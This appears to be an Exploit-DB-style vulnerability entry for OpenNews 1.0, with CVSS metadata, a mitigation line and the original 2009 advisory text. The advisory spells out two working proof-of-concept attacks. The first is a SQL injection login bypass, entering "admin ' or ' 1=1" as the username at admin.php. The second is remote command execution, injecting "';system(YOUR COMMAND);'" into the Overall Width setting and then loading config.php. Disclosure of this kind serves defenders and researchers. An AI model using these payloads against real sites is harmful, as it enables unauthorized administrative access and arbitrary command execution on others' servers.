OpenNews 1.0 (SQLI/RCE) Multiple Remote Vulnerabilities

vendor:

OpenNews

by:

SirGod

7,5

CVSS

HIGH

SQL Injection (Auth Bypass) and Remote Command Execution

89, 78

CWE

Product Name: OpenNews

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:opennews-sun:opennews

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

OpenNews 1.0 (SQLI/RCE) Multiple Remote Vulnerabilities

OpenNews 1.0 is vulnerable to SQL Injection (Auth Bypass) and Remote Command Execution. An attacker can bypass authentication by entering ' or ' 1=1 as the username and any value as the password. An attacker can also execute arbitrary commands by entering ';system(YOUR COMMAND);' in the Overall Width field and then accessing the config.php page.

Mitigation:

Ensure that the magic_quotes_gpc is set to on and update to the latest version of OpenNews 1.0.

Source

Exploit-DB raw data:

####################################################################
[+] OpenNews 1.0 (SQLI/RCE) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
####################################################################

[+] Download : http://sourceforge.net/projects/opennews-sun/

[+] SQL Injection (Auth Bypass)

 - Note : magic_quotes_gpc = off

 - PoC

     http://127.0.0.1/admin.php

     Username : admin ' or ' 1=1
     Password : anything

[+] Remote Command Execution

  - PoC

    Go to

        http://127.0.0.1/admin.php?action=setconfig

    in the Overall Width write

        ';system(YOUR COMMAND);'

    then go to

        http://127.0.0.1/config.php

    to see your command result.


####################################################################

# milw0rm.com [2009-08-05]